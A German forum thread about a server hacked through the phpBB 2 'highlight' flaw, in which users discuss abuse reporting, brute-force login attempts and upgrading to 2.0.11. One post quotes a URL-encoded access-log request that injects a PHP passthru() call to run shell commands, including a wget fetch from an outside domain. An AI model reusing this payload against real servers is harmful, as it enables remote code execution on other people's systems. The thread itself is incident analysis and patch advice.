Server gehacked

[Philipp]

Original geschrieben von Sloter
Ich kann mich nur auf die Domain erinnern willysbirthday.com.

Diese ist aber auf einen BTN / CIAS Internet server gehostet:
http://uptime.netcraft.com/up/graph?...ysbirthday.com

Original geschrieben von Sloter
Ich kann mir aber schon vorstellen das es die Burschen von ThePlanet nicht sonderlich interressiert.

Selbst die kleinste Brute Force Attacke interessiert sie:
http://forums.servermatrix.com/viewt...10957&start=54

Das gleiche übrigens auch bei http://www.ev1servers.net.

[Sloter]

Ein Brutforce ist auch etwas anderes, als ein Download von ein paar Scripten zum Testen ob der eigene Server dicht ist.

Obwohl nach der letzten Rechtsprechung in D, ist ein Brutforce keine Straftat.
Man kann sich ja einmal bei der IP verhauen, eigentlich wollte man am eigenen Server sich einlogen.

So wie ich die Amis kenne, werden sie einem eigenen Patrioten nur etwas tun, wenn die Beschwerde auch von einem Ami kommt.
Ansonst, wo ist eigentlich Österreich.

Sloter

[Philipp]

Original geschrieben von Sloter
Ein Brutforce ist auch etwas anderes, als ein Download von ein paar Scripten zum Testen ob der eigene Server dicht ist.

Wieso Download von Scripten? Der "The Planet" Server wurde als Hackwerkzeug missbraucht um über das phpBB exploit in die anderen Server einzubrechen. Das sieht man im geposteten Log auf der ersten Seite.

Original geschrieben von Sloter
Man kann sich ja einmal bei der IP verhauen, eigentlich wollte man am eigenen Server sich einlogen.

Das war ein Beispiel das selbst der Versuch in einen Server einzubrechen schon vom Abuse Team untersucht wird. Unter Bruteforce Attacke verstehe ich aber mehrere Einlogversuche mit unterschiedlichen Logins innerhalb weniger Sekunden.

[frazzz]

ein brutforce dient imho zu erlangung eines root(su, admin)-pwd, also ist der login bekannt oder zum hacken einer verschlüsselung.


=> rc5 afaik auch ein bruteforce

[Sloter]

Original geschrieben von Philipp
"The Planet" Server wurde als Hackwerkzeug missbraucht um über das phpBB exploit in die anderen Server einzubrechen. Das sieht man im geposteten Log auf der ersten Seite.

Das war ein Beispiel das selbst der Versuch in einen Server einzubrechen schon vom Abuse Team untersucht wird.

Unter Bruteforce Attacke verstehe ich aber mehrere Einlogversuche mit unterschiedlichen Logins innerhalb weniger Sekunden.

1, Was siehst du da?
Das jemand auf einen öffentlichen Service zugeriffen hat.
Wenn das nicht erwünscht ist, das jemand von Aussen zugreift, warum wird dann der Dienst frei gegeben?

2, Yep, wenn sich ein Ami beschwert.

3, Ich auch, aber das ich mir die tägliche Arbeit ersparre, verwende ich ein Script zum einlogen.
Ich kann jetzt gar nicht erklären, warum das Script irre gelaufen ist, ich wollte mich nur auf meinem Server einlogen.

Apropo, der Server ist noch immer online und ich verwette eine kostenlose .info das er online bleibt ;-)

Sloter

[Philipp]

Original geschrieben von Sloter
1, Was siehst du da?

Das da:
69.93.x.xxx - - [02/Dec/2004:02:48:04 +0100] "GET /viewtopic.php?t=%32%30& rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20%77
%67%65%74%20%68%74%74%70%3A%2F%2F%77%69%6C%6C%79%7
3%62%69%72%74%68%64%61%79%2E%63%6F%6D%2F%68%61%63%
6B%65%64%2E%68%74%6D%6C%3B%20%65%63%68%6F%20%5F%45
%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75
%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%7
2%75%73%68%5D%29.%2527 HTTP/1.1" 200 6025 "-" "-"

Diese Anfrage wurde mittels eines im Umlauf befindlichen Perl Scripts generiert, welches es erlaubt beliebige Shell Befehle über phpBB 2 auszuführen.

Original geschrieben von Sloter
2, Yep, wenn sich ein Ami beschwert.

Ich würde es aber dennoch vermeiden Raubkopien meines CMS System auf einen The Planet Server zum Download anzubieten . Die letzte Beschwerde kam ohne Probleme durch.

Original geschrieben von Sloter
3, Ich auch, aber das ich mir die tägliche Arbeit ersparre, verwende ich ein Script zum einlogen.
Ich kann jetzt gar nicht erklären, warum das Script irre gelaufen ist, ich wollte mich nur auf meinem Server einlogen.

Du loggst dich in 50 Accounts gleichzeitig ein z.B. admin/admin oder www-data usw.

Original geschrieben von Sloter
Apropo, der Server ist noch immer online und ich verwette eine kostenlose .info das er online bleibt ;-)

Nur eine? Nicht 25

Hat Dumdideldum den Server überhaupt gemeldet? Je nach Situation kann es auch durchaus sein das er online bleibt.

Möglichkeit #1
Der Server selber wurde kompromitiert

In diesen Fall wird er vom Netz genommen und muss neu installiert werden. Ein Reimage der Platte kostet $75 und einige Stunden Downtime. Sobald der Server clean ist wird er wieder angeschlossen.

Möglichkeit #2
Der Kunde einer Webhostingfirma die diesen Server gemietet hat spielt Script Kiddy oder Spammer

In diesen Fall bekommt der Serverbetreiber ein Trouble Ticket von der Abuse Abteilung das er innerhalb 24 Stunden beantworten sollte. Wenn er koopieriert, wird beim ersten Mal noch ein Auge zugedrückt.

[Philipp]

Original geschrieben von Dumdideldum
BTw:
hab es jetzt lokal probiert mit phpBB 2.0.7 --->
es ist unglaublich einfach :S

Also bitte alle auf 2.0.11 upgraden !

Interessant: Mein Ubuntu Linux 4.10/VHCS 2.2 Testserver scheint trotz älterer phpBB 2 Version immun gegen dieses Exploit zu sein. Die entsprechenden Einträge findet man aber im Serverlog.

Welche PHP Version/OS verwendest Du auf deiner lokalen Installation?

[colossus]

pico shk2.html

EINDEUTIG Kiddies. ;>

[Dumdideldum]

Original geschrieben von Philipp
Interessant: Mein Ubuntu Linux 4.10/VHCS 2.2 Testserver scheint trotz älterer phpBB 2 Version immun gegen dieses Exploit zu sein. Die entsprechenden Einträge findet man aber im Serverlog.

Welche PHP Version/OS verwendest Du auf deiner lokalen Installation?

PHP 4.3.9-1
MySQL 4.0.22
Apache 2.0.52
Debian SID

Abuse Mail gesendet, damit ist das Problem für mich erledigt.

[dareel]

falls noch interesse besteht

der bug wird hier beschrieben, zumindestens hört es sich genau nach deinem prob an.

och, steht doch schon alles auf der ersten seite , wieder mal zu langsam